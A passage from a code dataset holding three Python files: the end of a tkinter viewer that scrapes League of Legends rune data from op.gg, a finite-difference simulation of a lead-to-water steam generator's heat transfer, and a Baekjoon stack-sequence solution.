print(stone.img_file)\n \n stone_frame = tkinter.Frame(stonerow_frame)\n stone_frame.grid(row=0, column=i)\n \n img = PIL.Image.open(stone.img_file)\n \n img = img.resize((50,50), PIL.Image.ANTIALIAS)\n \n print(stone.active)\n if not stone.active:\n #img = ImOps.grayscale(img)\n img = img.convert(\"LA\")\n \n \n \n stone_image = itk.PhotoImage(img)\n \n \n stone_label = tkinter.Label(stone_frame, image=stone_image)\n stone_label.image = stone_image\n stone_label.pack()\n \n root.update()\n\n\nroot.mainloop()\n\n\n# =============================================================================\n# #previosu\n# =============================================================================\n\n# print()\n# print(champions_list[0].name)\n# print(champions_list[0].roles[0])\n\n# cp = ChampionPage(champions_list[0], champions_list[0].roles[0])\n\n\n# for champion in champions_list:\n \n# if champion.name == \"Maokai\":\n# print()\n# print(champion.name)\n# print(champion.roles[1])\n# cp = ChampionPage(champion, champion.roles[1]) \n\n\n# import RequestsHandler\n\n\n# base_url = \"https://euw.op.gg\"\n\n# req = RequestsHandler.Request(\"https://euw.op.gg/champion/statistics\", \"./cache/main_statistc_page.pickle\")\n\n# req.load()\n\n# soup = req.get_soup()\n\n\n# champ_selector = \"body > div.l-wrap.l-wrap--champion > div.l-container > div.l-champion-index > div.l-champion-index-content > div.l-champion-index-content--main > div.champion-index__champion-list\"\n\n\n# champs = soup.select(champ_selector)\n\n# print(len(champs))\n\n\n# div = champs[0].find_all(\"div\", recursive=False)\n\n\n# champ_idx = 0\n# print(div[champ_idx].prettify())\n\n# name = div[champ_idx].find(\"div\", {\"class\":\"champion-index__champion-item__name\"})\n\n\n# print(name.getText())\n\n# link = div[champ_idx].find(\"a\")\n\n# print(link.get(\"href\"))\n\n# roles = div[champ_idx].find_all(\"span\")\n\n# print(roles[0].getText())\n\n# for stat in div:\n# name = stat.find(\"div\", {\"class\":\"champion-index__champion-item__name\"}).getText()\n \n# link = stat.find(\"a\")\n \n# print(name)\n# if link == None:\n# print(\"No stats\")\n# else:\n# print(link.get(\"href\"))\n# print()\n\n\n# lets take a rune page\n\n\n# req = RequestsHandler.Request(base_url + link.get(\"href\") + \"/\" + roles[0].getText(), \"./cache/\" + name.getText() + \"_stats.pickle\")\n\n\n# req.load()\n# print(req.url)\n# print(req.response.status_code)\n\n# soup = req.get_soup()\n\n# class_tag = \"champion-overview__table champion-overview__table--rune tabItems\"\n# table = soup.find(\"table\", {\"class\":class_tag}) \n\n# print(table.getText())\n\n\n# keystone = table.find_all(\"div\", {\"class\": \"perk-page__item perk-page__item--active\"})\n\n# print(len(keystone))\n\n# print()\n# print(\"----------------------------\")\n\n# print(name.getText())\n# print(roles[0].getText())\n\n# print(\"-----runes-----\")\n\n# for key in keystone:\n\n# img = key.find(\"img\")\n \n# print(img.get(\"alt\"))\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"472858333","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\n# Differences from coaxial steam generator:\n# \tThe geometry of this reactor are tubes going from z=0 to z=h with\n# a slope of dxdz at all times, where x is any direction perpendicular\n# to z (the direction of x can change). This models, for example, tubes\n# spiraling upwards with constant slope or approximates tubes zig-zagging\n# upwards.\n# \tTotal length of one tube is no longer equal to h, variable l denotes\n# the total length of one tube. l is calculated from h and dxdz, where\n# dxdz is a parameter that needs to be provided. It is assumed that the\n# slope of the tubes is approximately constant and that dxdz >> 1.\n# \tAxh has been changed, its now calculated from l and not h. The \n# function getNusseltPb has been changed to the formula for cross flow.\n# Lead flow cross sectional area corrected, sloped tubes take up more \n# of the cross sectional area.\n\n## PHYSICAL PARAMETERS ##\n\n# Thermal conductivity of tube material [W/(m*K)]\nkss = 20\n# Desired thermal power [W]\nQ = 14e6\n# Height of reactor [m]\nh = 0.64\n# Diameter of reactor [m]\nD = 0.491\n# Number of tubes\nn = 64\n# Inner diameter of tubes [m]\ndi = 8*0.001\n# Thickness of tubes [m]\ndd = 1*0.001\n# \"Slope\" of the tubes, the x direction is any direction perpendicular to z.\n# For example, dxdz=0 gives coaxial flow (will be inaccurate because the nusselt\n# number assumes perpendicular flow), dxdz=1 gives 45 degree tubes, and so on.\n# The value of dxdz should be >> 1.\ndxdz = 15.596843137145555\n# Water inflow temperature (steam if above 342.11C, otherwise liquid) [C]\nT0W = 335\n# Desired temperature of water at outflow [C]\nT1W = 530\n# Lead inflow temperature [C]\nT0Pb = 550\n# Desired temperature of lead at outflow [C]\nT1Pb = 420\n# Lowest alowed lead temperature\nTminPb = 350\n\n\n## SIMULATION PARAMETERS ##\n\n# Number of length elements\nN = 200\n# Amount times to compute temperatures, for each iteration the calculation becomes more accurate\ncycles = 40\n# If True, print useful data about the solution after the simulation has completed\nprintData = True\n# If True, will plot every intermediate state, otherwise it will just plot the final, most accurate, state\nplotIntermediates = False\n# If True will print a progress bar as it's simulating\nprogressBar = True\n# If True will plot the \"convegence error\", a low error means the solution has converged\n# (not necessarily to the right solution). A systematic error means cycles should be increased,\n# a noisy error means that the amount of cycles is fine.\nplotError = True\n\n\n## PHYSICAL CONSTANTS ##\n\n# pi\npi = np.pi\n# Density of lead at inflow [kg/m^3]\nrhoPb = 10.678*1000\n# Density of water at inflow [kg/m^3]\n#rhoW = 965.19736410518\n# Enthalpy of water at boiling point [J/kg]\nHWb0 = 1609.829098436e3\n# Enthalpy of steam at boiling point [J/kg]\nHWb1 = 2611.4108223058e3\n\n\n## CALCULATED CONSTANTS ##\n\n# Step size [m]\ndz = h/(N - 1)\n# Radius of reactor [m]\nR = D/2\n# Inner radius of tubes [m]\nri = di/2\n# Outer diameter of tubes [m]\ndo = di+2*dd\n# Outer radius of tubes [m]\nro = do/2\n# Change of l with respect to z\ndldz = (1 + dxdz**2)**0.5\n# Total length of one tube\nl = dldz*h\n# Total heat exchange area [m^2]\n#Ahx = do*pi*l*n\n# Water flow total cross sectional area [m^2]\nAw = ri*ri*pi*n\n# Lead flow cross sectional area [m^2]\nApb = R*R*pi - ro*ro*pi*n*dldz\n# Difference in water enthalpy between outflow and inflow\ndeltaHW = 0\n# Difference in lead enthalpy between outflow and inflow\ndeltaHPb = 0\n# Water mass flow rate [kg/s]\n#mDotW = uW*Aw*rhoW\nmDotW = 0\n# Lead mass flow rate [kg/s]\n#mDotPb = uPb*Apb*rhoPb\nmDotPb = 0\n# Velocity of water at inflow [m/s]\nuW = 0\n# Velocity of lead at inflow [m/s]\nuPb = 0\n\ndef updateConstants():\n\tglobal dz, R, ri, do, ro, dldz, l, Ahx, Aw, Apb, deltaHPb, deltaHW, mDotPb, mDotW, uPb, uW\n\t# Step size [m]\n\tdz = h/(N - 1)\n\t# Radius of reactor [m]\n\tR = D/2\n\t# Inner radius of tubes [m]\n\tri = di/2\n\t# Outer diameter of tubes [m]\n\tdo = di+2*dd\n\t# Outer radius of tubes [m]\n\tro = do/2\n\t# Change of l with respect to z\n\tdldz = (1 + dxdz**2)**0.5\n\t# Total length of one tube\n\tl = dldz*h\n\t# Total heat exchange area [m^2]\n\t#Ahx = do*pi*l*n\n\t# Water flow total cross sectional area [m^2]\n\tAw = ri*ri*pi*n\n\t# Lead flow cross sectional area [m^2]\n\tApb = R*R*pi - ro*ro*pi*n*dldz\n\t# Difference in water enthalpy between outflow and inflow\n\tdeltaHW = getHW(T1W)-getHW(T0W)\n\t# Difference in lead enthalpy between outflow and inflow\n\tdeltaHPb = getHPb(T1Pb)-getHPb(T0Pb)\n\t# Water mass flow rate [kg/s]\n\t#mDotW = uW*Aw*rhoW\n\tmDotW = Q/deltaHW\n\t# Lead mass flow rate [kg/s]\n\t#mDotPb = uPb*Apb*rhoPb\n\tmDotPb = Q/deltaHPb\n\t# Velocity of water at inflow [m/s]\n\tuW = mDotW/Aw/getRhoW(getHW(T0W))\n\t# Velocity of lead at inflow [m/s]\n\tuPb = mDotPb/Apb/rhoPb\n\ndef lerp(x, xList, yList):\n\t\"\"\"Returns an approximation of y(x), xList and yList should contain sampled values from y(x).\n\txList has to contain x-values in increasing order.\"\"\"\n\tif len(xList) != len(yList) or len(xList) == 0:\n\t\tprint(\"Error: dimensions of lists dont match or equals zero.\")\n\t\treturn None\n\t#Binary search, find the neighbouring x-values\n\ti0 = 0\n\ti1 = len(xList) - 1\n\tx0 = xList[i0]\n\tx1 = xList[i1]\n\tif x > x1 or x < x0:\n\t\tprint(\"Error: given value is out of bounds: \" + str(x))\n\t\treturn None\n\twhile(i1 - i0 != 1):\n\t\tiMid = int((i0+i1)/2)\n\t\txMid = xList[iMid]\n\t\tif xMid > x:\n\t\t\ti1 = iMid\n\t\telse:\n\t\t\ti0 = iMid\n\txminus = xList[i0]\n\txplus = xList[i1]\n\tp = (x-xminus)/(xplus-xminus)\n\treturn yList[i0]*(1-p) + yList[i1]*p\n\t\n#Sampled water temperatures [C]\nTWsamp = [\n\t0, \t\t\t\t\t50, \t\t\t\t100, \t\t\t\t150, \n\t200, \t\t\t\t250, \t\t\t\t280, \t\t\t\t300,\n\t320, \t\t\t\t330, \t\t\t\t337, \t\t\t\t342.11,\n\t342.12, \t\t\t342.2, \t\t\t\t345,\t\t\t\t350, \n\t360,\t\t\t\t370, \t\t\t\t380, \t\t\t\t400, \n\t440, \t\t\t\t480, \t\t\t\t520, \t\t\t\t580]\n#Sampled specific enthalpy values [J/kg]\nHWsamp = [\n\t15.069416858762e3, \t222.22555353748e3, \t430.32079609592e3, \t641.34032434486e3, \n\t858.1170925424e3, \t1086.0355962798e3, \t1232.7888617023e3, \t1338.0632609535e3,\n\t1453.846049747e3, \t1518.639370056e3, \t1568.8433826561e3, \t1609.7439498365e3,\n\t1609.829098436e3, \t2611.4108223058e3, \t2644.4722229326e3, \t2692.9998154054e3, \n\t2769.5620385581e3,\t2831.4049104836e3, \t2884.6070536591e3, \t2975.5476758035e3,\n\t3124.5831873807e3, \t3251.7604839088e3, \t3367.7855983754e3, \t3530.7530092137e3]\n#Sampled isobar specific heat capacity [kJ/kgK]\nCWsamp = [\n\t4.1501246032742, \t4.1465669400481, \t4.1837678599079, \t4.265896612902, \n\t4.4219269256657, \t4.7324546776592, \t5.0833000211663, \t5.4760165314084,\n\t6.183875433228, \t6.8289169597204, \t7.5793510257999, \t8.5136552680353,\n\t8.5160651264762, \t12.941502699273,\t10.850428622717, \t8.7885126098705, \n\t6.7740330631997,\t5.6867522089636, \t5.0002808341009, \t4.1777776193013,\n\t3.386350240844, \t3.0126365014173, \t2.807448480426, \t2.644747678729]\n#Sampled density at 15 MPA [kg/m^3]\nrhoWsamp = [\n\t1007.2953533373, \t994.42906842479, \t965.19736410518, \t925.02855025451, \n\t874.51144816007, \t811.02408541955, \t763.5659317279, \t725.55327522717, \n\t678.75763644934\t, \t649.61853654555, \t625.1842416931, \t603.73619073597, \n\t603.68980109742, \t96.641787510605, \t92.58910388291, \t87.102683889095, \n\t79.476556981261, \t74.112339548535, \t69.982275774721, \t63.811881187966, \n\t55.664233554794, \t50.190066624199, \t46.090496592759, \t41.418643769644]\n#Sampled (dynamic) viscosity at 15 MPA [Pa s]\nmuWsamp = [\n\t0.0017569222255541,\t0.00054957548270974,0.00028572774719823, 0.00018609826343681, \n\t0.00013761834458872,0.00010910372865988,9.6236453459579E-5, 8.8333362476973E-5,\n\t8.0272953163543E-5, 7.5857009417524E-5, 7.2406568846584E-5, 6.9527604710848E-5, \n\t6.9521509303783E-5, 2.2793338904066E-5, 2.2822905858684E-5, 2.2935282504602E-5, \n\t2.3263415562689E-5, 2.3651679469595E-5, 2.4066651122984E-5, 2.4930042731232E-5, \n\t2.6687629398083E-5, 2.8429697881328E-5, 3.0139941628777E-5, 3.2640892162702E-5]\n#Sampled thermal conductivity at 15 MPA [W/mK]\nkWsamp = [\n\t0.56930910448506, \t0.65051792015857, \t0.68721569070846, \t0.69177924539095, \n\t0.67486517874436, \t0.63476052513029, \t0.59568357949575, \t0.56143592682432, \n\t0.51992444478752, \t0.49636008973223, \t0.47845802606602, \t0.46406300236298, \n\t0.46403325075079, \t0.11521314787269, \t0.10844451493895, \t0.1007924810207, \n\t0.092185222216949, \t0.0872445138624, \t0.084117453069393, \t0.080681703274648, \n\t0.079006161973628, \t0.080461037513768, \t0.083484892747535, \t0.089621105028219]\n\n## WATER PROPERTIES ##\n\ndef getHW(T):\n\t\"\"\"Specific enthalpy of water [J/kg] at given temperature [C]\"\"\"\n\treturn lerp(T, TWsamp, HWsamp)\n\ndef getTW(H):\n\t\"\"\"Temperature of water [C] at given specific enthalpy [J/kg]\"\"\"\n\treturn lerp(H, HWsamp, TWsamp)\n\ndef getCW(H):\n\t\"\"\"Isobar specific heat capacity [J/kgK] at given specific enthalpy [J/kg]\"\"\"\n\treturn lerp(H, HWsamp, CWsamp)*1000\n\ndef getRhoW(H):\n\t\"\"\"Density of water [kg/m^3] at given specific enthalpy [J/kg]\"\"\"\n\treturn lerp(H, HWsamp, rhoWsamp)\n\ndef getkW(H):\n\t\"\"\"Thermal conductivity of water [W/mK] at given specific enthalpy [J/kg]\"\"\"\n\treturn lerp(H, HWsamp, kWsamp)\n\ndef getMuW(H):\n\t\"\"\"Dynamic viscosity of water [Pa s] at given specific enthalpy [J/kg]\"\"\"\n\treturn lerp(H, HWsamp, muWsamp)\n\ndef getWaterVel(H):\n\t\"\"\"Velocity of water inside tubes [m/s] at given specific enthalpy [J/kg]\"\"\"\n\treturn mDotW/(getRhoW(H)*Aw)\n\ndef getPrandtlW(H):\n\t\"\"\"Returns the prandtl number for water at given specific enthalpy [J/kg]\"\"\"\n\treturn getMuW(H)*getCW(H)/getkW(H)\n\ndef getReynoldW(H):\n\t\"\"\"Returns Reynolds number for water at given specific enthalpy [J/kg]\"\"\"\n\treturn di*abs(getWaterVel(H))*getRhoW(H)/getMuW(H)\n\ndef getNusseltW(H):\n\t\"\"\"Returns the nusselt number for water at given specific enthalpy [J/kg]\"\"\"\n\tif H <= HWb0:\n\t\treturn 0.023*getReynoldW(H)**0.8*getPrandtlW(H)**0.4\n\telif H < HWb1:\n\t\treturn getNusseltW(HWb0)*5\n\telse:\n\t\treturn 0.0157*getReynoldW(H)**0.84*getPrandtlW(H)**0.33\n\ndef getConvHtW(H):\n\t\"\"\"Returns the convective heat transfer coefficient, h, [W/m^2K] for water at given specific enthalpy [J/kg]\"\"\"\n\treturn getNusseltW(H)*getkW(H)/di\n\n## LEAD PROPERTIES ##\n\ndef getHPb(T):\n\t\"\"\"Specific enthalpy of lead [J/kg] at given temperature [C]\"\"\"\n\treturn 145*T #from dmitry\n\ndef getTPb(H):\n\t\"\"\"Temperature of lead [C] at given specific enthalpy [J/kg]\"\"\"\n\treturn H/145 #from dmitry\n\ndef getLambdaPb(T):\n\t\"\"\"Thermal conductivity of molten lead [W/mK] at given temperature [C]\"\"\"\n\treturn 9.2 + 0.011*(T + 273.15) #from dmitry\n\ndef getAlphaPb(T):\n\t\"\"\"Thermal diffusivity of molten lead [m/s^2] at given temperature [C]\"\"\"\n\treturn (3.408 + 0.0112*(T + 273.15))*1e-6 #from dmitry\n\ndef getPecletPb(T):\n\t\"\"\"Returns the peclet number for lead at given temperature [C]\"\"\"\n\treturn do*abs(uPb)/getAlphaPb(T)\n\ndef getNusseltPb(T):\n\t\"\"\"Returns the nusselt number for lead at given temperature [C]\"\"\"\n\t#return 6 + 0.006*getPecletPb(T) # Lead flows parallel to tubes\n\treturn 4.003 + 0.228*getPecletPb(T)**0.67 # Cross flow, tubes perpendicular to lead flow\n\ndef getConvHtPb(T):\n\t\"\"\"Returns the convective heat transfer coefficient, h, [W/m^2K] for lead at given temperature [C]\"\"\"\n\treturn getNusseltPb(T)*getLambdaPb(T)/do\n\n# Constant factors used when calculating Reff\ncf1 = 1/(2*pi*ri)\ncf2 = np.log(ro/ri)/(2*pi*kss)\ncf3 = 1/(2*pi*ro)\ndef getReff(HW, TPb):\n\t\"\"\"Returns the overall thermal resistance coefficient, Reff, [mK/W] for given water and lead temp [C]\"\"\"\n\treturn cf1/getConvHtW(HW) + cf2 + cf3/getConvHtPb(TPb)\n\ndef getQW(Hw):\n\t\"\"\"Returns the energy flow of water for given enthalpy [MW]\"\"\"\n\treturn mDotW*Hw*1e-6\n\t\ndef getQPb(Hpb):\n\t\"\"\"Returns the energy flow of lead for given enthalpy [MW]\"\"\"\n\treturn mDotPb*Hpb*1e-6\n\ndef plotEnthalpyData():\n\t_, (ax1, ax2) = plt.subplots(2, 1, True)\n\tax1.plot(TWsamp, HWsamp)\n\tax1.set_title(\"Water\")\n\tplt.xlabel(\"Temperature [Celcius]\")\n\tax1.set_ylabel(\"Specific enthalpy [J/kg]\")\n\tax2.plot(TWsamp, CWsamp)\n\tax2.set_ylabel(\"Specific heat capacity [kJ/kgK]\")\n\tplt.show()\n\ndef printSolutionData(Hw, Hpb):\n\tprint(\"Data for simulation with N = {0}, and {1} cycles\".format(N, cycles))\n\tprint(\"Reactor dimensions: height = {0} m, diameter = {1} m\".format(h,D))\n\tprint(\"Fraction of volume consisting of water and tube material: {0}\".format(ro*ro/(R*R)*dldz*n))\n\tprint(\"TUBE DATA:\")\n\tprint(\"Dimensions (1 tube): length: {0:.3f} m, outer diameter: {1:.1f} mm, thickness: {2:.1f} mm\".format(l, do*1000, dd*1000))\n\tprint(\"Geometry: Number of tubes: {0}, slope of tubes dx/dz: {1:.1f}\".format(n,dxdz))\n\tprint(\"Material properties: Conductivity: {0} W/mK\".format(kss))\n\tprint(\"\")\n\tQw = getQW(Hw[N-1]) - getQW(Hw[0])\n\tQpb = getQPb(Hpb[N-1]) - getQPb(Hpb[0])\n\tprint(\"\")\n\tprint(\"SOLUTION DETAILS WATER LEAD PHYSICAL DIMENSION\")\n\tprint(\"Flow areas {0:.3f} {1:.3f} m^2 \".format(Aw, Apb))\n\tprint(\"Inflow Temp {0:.3f} {1:.3f} deg. C \".format(getTW(Hw[0]), getTPb(Hpb[-1])))\n\tprint(\"Outflow Temp {0:.3f} {1:.3f} deg. C \".format(getTW(Hw[-1]), getTPb(Hpb[0])))\n\tprint(\"Mass flow (pos z) {0:.3f} {1:.3f} kg/s \".format(mDotW, mDotPb))\n\tprint(\"Inflow vel. (pos z) {0:.3f} {1:.3f} m/s \".format(uW, uPb))\n\tprint(\"Thermal pwr gain {0:.3f} {1:.3f} MW \".format(Qw, Qpb))\n\tprint(\"Solution discrepancy (lower is better): 10^{0:.0f} W\".format(np.log10(checkSolution(Hw, Hpb))))\n##### SIMULATION #####\n\n# Derivative of water enthalpy with respect to z\ndef dHWdz(TPb, TW, HW):\n\treturn (TPb-TW)*dldz/(mDotW*getReff(HW, TPb))*n\n# Derivative of lead enthalpy with respect to z\ndef dHPbdz(TPb, TW, HW):\n\treturn (TW-TPb)*dldz/(mDotPb*getReff(HW, TPb))*n\n\n# Main function\ndef simulate(printSol = printData, prgBar = progressBar):\n\tif prgBar:\n\t\tprint('[', end='')\n\t# Water specific enthalpy at inflow (z=0)\n\tH0W = getHW(T0W)\n\t# Lead specific enthalpy at inflow (z=h)\n\tH0Pb = getHPb(T0Pb)\n\t#Initial guesses\n\tHw = [H0W]*N\n\tHpb = [H0Pb]*N\n\tTw = [T0W]*N\n\tTpb = [T0Pb]*N\n\t\n\tHWmin = 16000\n\tHWmax = 3530000\n\t\n\ttempsW = [Tw.copy()]\n\ttempsPb = [Tpb.copy()]\n\tfor j in range(cycles):\n\t\tlastDeltaTw = 0\n\t\tlastDeltaTpb = 0\n\t\tfor i in range(1, N):\n\t\t\t# Provide an estimation for the temperature (will not\n\t\t\t# change the solution, just allow it to converge faster)\n\t\t\tT = Tw[i] + lastDeltaTw\n\t\t\tHw[i] = Hw[i-1] + dHWdz(Tpb[i], T, Hw[i])*dz\n\t\t\t# Cannot allow enthalpy outside of sampled values\n\t\t\tHw[i] = np.max((HWmin, np.min((HWmax, Hw[i]))))\n\t\t\t# Record how much T changed, the assumtion is that the\n\t\t\t# next T value will change by roughly the same amount\n\t\t\tlastTw = Tw[i]\n\t\t\tTw[i] = getTW(Hw[i])\n\t\t\tlastDeltaTw = Tw[i] - lastTw\n\t\tfor i in range(N-2, -1, -1):\n\t\t\tT = Tpb[i+1] + lastDeltaTpb\n\t\t\tHpb[i] = Hpb[i+1] - dHPbdz(T, Tw[i+1], Hw[i+1])*dz\n\t\t\tlastTpb = Tpb[i]\n\t\t\tTpb[i] = getTPb(Hpb[i])\n\t\t\tlastDeltaTpb = Tpb[i] - lastTpb\n\t\tif plotIntermediates:\n\t\t\ttempsW += [Tw.copy()]\n\t\t\ttempsPb += [Tpb.copy()]\n\t\tif prgBar:\n\t\t\tif j%(cycles/19) <= 1:\n\t\t\t\tprint('=', end='', flush=True)\n\tif prgBar:\n\t\tprint(']')\n\n\tif printSol:\n\t\tprintSolutionData(Hw, Hpb)\n\t\n\tz = np.linspace(0, h, N)\n\tif plotIntermediates:\n\t\tfor j in range(len(tempsW)-1):\n\t\t\tplt.plot(z, tempsPb[j])\n\t\t\tplt.plot(z, tempsW[j])\n\tif printSol:\n\t\tplt.plot(z, Tpb, label=\"Final lead temp [C]\")\n\t\tplt.plot(z, Tw, label=\"Final water temp [C]\")\n\t\t# plt.plot(z, Hpb, label=\"Final lead enthalpy [J/kg]\")\n\t\t# plt.plot(z, Hw, label=\"Final water enthalpy [J/kg]\")\n\t\t# Qw = [mDotW*(H - Hw[0])*1e-6 for H in Hw]\n\t\t# Qpb = [mDotPb*(H - Hpb[0])*1e-6 for H in Hpb]\n\t\t# plt.plot(z, Qpb, label=\"Final lead energy flow [MW]\")\n\t\t# plt.plot(z, Qw, label=\"Final water energy flow [MW]\")\n\t\tplt.legend()\n\t\tplt.xlabel(\"z\")\n\t\tplt.ylabel(\"Temperature [C]\")\n\t\tplt.title(\"Water inflow at z=0, lead inflow at z=h=\" + str(h))\n\t\tplt.show()\n\treturn Tw[N-1], Hw, Hpb, Tw, Tpb\n\ndef checkSolution(Hw, Hpb):\n\t\"\"\"Checks how well the given solution satisfied the differential equaitons. Returns a \n\tnumber [W] that is a measure of well the functions satisfy the differential \n\tequations, lower is better.\"\"\"\n\tTw = [getTW(H) for H in Hw]\n\tTpb = [getTPb(H) for H in Hpb]\n\tdiscrepancyQW = []\n\tdiscrepancyQPb = []\n\tfor i in range(1, N):\n\t\tdeltaHW = Hw[i] - Hw[i-1]\n\t\tdiscrepancy = deltaHW - dHWdz(Tpb[i], Tw[i], Hw[i])*dz\n\t\tdiscrepancyQW.append(getQW(discrepancy)*1e6)\n\tfor i in range(1, N):\n\t\tdeltaHPb = Hpb[i] - Hpb[i-1]\n\t\tdiscrepancy = deltaHPb - dHPbdz(Tpb[i], Tw[i], Hw[i])*dz\n\t\tdiscrepancyQPb.append(getQPb(discrepancy)*1e6)\n\tif plotError:\n\t\tz = np.linspace(0, h, N-1)\n\t\tplt.plot(z, discrepancyQW, label=\"water\")\n\t\tplt.plot(z, discrepancyQPb, label=\"lead\")\n\t\tplt.legend()\n\t\tplt.show()\n\treturn (np.sum([abs(d) for d in discrepancyQW]) + np.sum([abs(d) for d in discrepancyQPb]))/N\n\ndef solutionIsValid(Hw, Hpb, Tw, Tpb):\n\ttol = 0.001\n\tif Aw <= 0 or Apb <= 0 or ro*ro/(R*R)*dldz*n > 0.5:\n\t\treturn False, 'A'\n\tif abs(Tw[-1]/T1W - 1) > tol:\n\t\treturn False, 'B'\n\tif abs(Tpb[0]/T1Pb - 1) > tol:\n\t\treturn False, 'C'\n\tif uW < 1 or uW > 3 or uPb < -3 or uPb > -1:\n\t\treturn False, 'D'\n\treturn True, None\n\ndef searchFordxdz(prgBar = progressBar, **kwargs):\n\tglobal dxdz\n\titerations = -1\n\ttol = 1e-10\n\targIter = kwargs.get('iterations')\n\targTol = kwargs.get('tol')\n\tif argIter != None:\n\t\titerations = argIter\n\tif argTol != None:\n\t\ttol = argTol\n\ti = 1\n\twhile True:\n\t\tupdateConstants()\n\t\tTW, Hw, Hpb, Tw, Tpb = simulate(False, prgBar)\n\t\tdiff = TW - T1W\n\t\tdxdz -= diff/15\n\t\tprint(diff)\n\t\tif iterations == -1:\n\t\t\tif abs(diff) < tol or i > 30:\n\t\t\t\tbreak\n\t\telse:\n\t\t\tif i >= iterations:\n\t\t\t\tbreak\n\t\ti += 1\n\treturn solutionIsValid(Hw, Hpb, Tw, Tpb)\n\ndef searchFordxdzSmart(prgBar = progressBar, **kwargs):\n\tglobal dxdz\n\titerations = -1\n\ttol = 1e-10\n\targIter = kwargs.get('iterations')\n\targTol = kwargs.get('tol')\n\tif argIter != None:\n\t\titerations = argIter\n\tif argTol != None:\n\t\ttol = argTol\n\ti = 1\n\t# Desired specific enthalpy of water at outflow\n\tH1W = getHW(T1W)\n\twhile True:\n\t\tupdateConstants()\n\t\t_, Hw, Hpb, Tw, Tpb = simulate(False, prgBar)\n\t\tdeltaZ = (Hw[-1] - H1W)/dHWdz(Tpb[-1], Tw[-1], Hw[-1])\n\t\tdiff = deltaZ*dldz/h\n\t\tif (diff > dxdz/2):\n\t\t\tdxdz = dxdz*0.9\n\t\telse:\n\t\t\tdxdz -= diff\n\t\tprint(dHWdz(Tpb[-1], Tw[-1], Hw[-1]))\n\t\tprint(deltaZ)\n\t\tprint(diff)\n\t\tif iterations == -1:\n\t\t\tif abs(diff) < tol or i > 30:\n\t\t\t\tbreak\n\t\telse:\n\t\t\tif i >= iterations:\n\t\t\t\tbreak\n\t\ti += 1\n\treturn solutionIsValid(Hw, Hpb, Tw, Tpb)\n\ndef searchFordxdzNewton(prgBar = progressBar, **kwargs):\n\tglobal dxdz\n\titerations = -1\n\ttol = 1e-10\n\targIter = kwargs.get('iterations')\n\targTol = kwargs.get('tol')\n\tif argIter != None:\n\t\titerations = argIter\n\tif argTol != None:\n\t\ttol = argTol\n\ti = 1\n\t# Desired specific enthalpy of water at outflow\n\tH1W = getHW(T1W)\n\twhile True:\n\t\tupdateConstants()\n\t\t_, Hw, Hpb, Tw, Tpb = simulate(False, prgBar)\n\t\tdxdz += 0.00001\n\t\tupdateConstants()\n\t\t_, dHw, dHpb, dTw, dTpb = simulate(False, prgBar)\n\t\tdxdz -= 0.00001\n\t\tderivativeAprx = (dHw[-1]-Hw[-1])/0.00001\n\t\tdiff = (Hw[-1] - H1W)/derivativeAprx\n\t\tif (diff > dxdz/2):\n\t\t\tdxdz = dxdz*0.9\n\t\telse:\n\t\t\tdxdz -= diff\n\t\tprint(diff)\n\t\tif iterations == -1:\n\t\t\tif abs(diff) < tol or i > 30:\n\t\t\t\tbreak\n\t\telse:\n\t\t\tif i >= iterations:\n\t\t\t\tbreak\n\t\ti += 1\n\treturn solutionIsValid(Hw, Hpb, Tw, Tpb)\n\ndef parameterAnalysis():\n\tglobal D, di, n\n\tdim = 5\n\tlst = []\n\tvn = []\n\tvdi = []\n\tvD = []\n\tvval = []\n\tverr = []\n\tfor i in range(dim):\n\t\tn = 14 + i*4\n\t\tfor j in range(dim):\n\t\t\tdi = 8*0.001 + j*0.002\n\t\t\tfor k in range(dim):\n\t\t\t\tD = 0.35 + k*0.2/(dim - 1)\n\t\t\t\tif i == 0 and j == 0 and k == 0:\n\t\t\t\t\titerations = -1#10\n\t\t\t\telse:\n\t\t\t\t\titerations = -1#5\n\t\t\t\tvalid, errType = searchFordxdzNewton(True, iterations=iterations, tol=1e-5)\n\t\t\t\tprogress = round((i*dim**2 + j*dim + k)*100/(dim**3), 2)\n\t\t\t\tprint(progress, \"%\")\n\t\t\t\tlst.append((n, di, D, valid, errType))\n\t\t\t\tvn.append(n)\n\t\t\t\tvdi.append(di)\n\t\t\t\tvD.append(D)\n\t\t\t\tvval.append(valid)\n\t\t\t\tverr.append(errType)\n\tprint(\"-- RAW DATA OUTPUT --\")\t\n\tprint(lst)\n\tfig = plt.figure(figsize=(6, 6))\n\tax3 = fig.add_subplot(111, projection='3d')\n\tplt.tight_layout()\n\tcol = ['g' if b else 'r' for b in vval]\n\tsize = [500 if b else 50 for b in vval]\n\tshape = ['.' if e==None else '$'+e+'$' for e in verr]\n\tfor n_, di_, D_, col_, size_, shape_ in zip(vn, vdi, vD, col, size, shape):\n\t\tax3.scatter([n_], [di_], [D_], c=col_, s=size_, alpha=0.5, marker=shape_)\n\tplt.xlabel('n')\n\tplt.ylabel('di')\n\tax3.set_zlabel('D')\n\tplt.show()\n\nvalid, type = searchFordxdzNewton(tolerance=1e-10)\nprint(\"dxdz:\", dxdz)\nprint(valid)\nupdateConstants()\nsimulate(True)\n\n#parameterAnalysis()\n\n# Hinterval = np.linspace(HWsamp[0], HWsamp[len(HWsamp)-1], 1000)\n# PW = [getReff(H, 540) for H in Hinterval]\n# plt.plot(Hinterval, PW)\n# plt.show()\n\n# plotEnthalpyData()\n","sub_path":"nuclearcooling_dmitryParams.py","file_name":"nuclearcooling_dmitryParams.py","file_ext":"py","file_size_in_byte":20593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"458337551","text":"import sys\nN = int(sys.stdin.readline().rstrip())\nse = []\nfor i in range(N):\n se.append(int(sys.stdin.readline().rstrip()))\n\nindex, next, last = 0, 1, 0\nsem = []\nanswer = \"\"\nwhile index < N:\n if next <= se[index]:\n answer += \"+\\n\"\n sem.append(next)\n next += 1\n else:\n answer += \"-\\n\"\n last = sem.pop()\n if se[index] != last:\n sys.stdout.write(\"NO\")\n exit()\n index += 1\n\nif last == se[-1]:\n sys.stdout.write(answer)\n","sub_path":"backjoon/1874 스택 수열.py","file_name":"1874 스택 수열.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} 